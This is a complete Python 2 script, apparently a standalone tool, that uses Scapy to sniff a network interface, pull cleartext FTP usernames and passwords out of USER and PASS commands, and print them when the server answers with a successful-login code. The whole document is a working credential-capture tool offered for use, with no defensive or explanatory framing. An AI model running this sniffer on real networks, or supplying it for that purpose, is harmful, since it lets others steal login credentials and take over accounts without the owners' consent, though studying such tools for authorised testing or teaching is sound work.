Python/Scapy FTP Password Sniffer

#! /usr/bin/python

import sys
from logging import getLogger, ERROR
getLogger('scapy.runtime').setLevel(ERROR)
try:
    from scapy.all import *
except ImportError:
    print '[!] Error: Scapy Installation Not Found'
    sys.exit(1)

interface = sys.argv[1]

usernames = ['Error: Unlucky Timing']
passwords = ['Error: Unlucky Timing']

def check_login(pkt, username, password):
    try:
        if '230' in pkt[Raw].load:
            print '[*] Valid Credentials Found... '
            print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':'
            print '\t   [*] Username: ' + username
            print '\t   [*] Password: ' + password + '\n'
            return
        else:
            return
    except Exception:
        return

def check_for_ftp(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        if pkt[TCP].dport == 21 or pkt[TCP].sport == 21:
            return True
        else:
            return False
    else:
        return False

def check_pkt(pkt):
    if check_for_ftp(pkt):
        pass
    else:
        return
    data = pkt[Raw].load
    if 'USER ' in data:
        usernames.append(data.split('USER ')[1].strip())
    elif 'PASS ' in data:
        passwords.append(data.split('PASS ')[1].strip())
    else:
        check_login(pkt, usernames[-1], passwords[-1])
    return

print '[*] Sniffing Started on %s... \n' % interface
try:
    sniff(iface=interface, prn=check_pkt, store=0)
except Exception:
    print '[!] Error: Failed to Initialize Sniffing'
    sys.exit(1)
print '\n[*] Sniffing Stopped'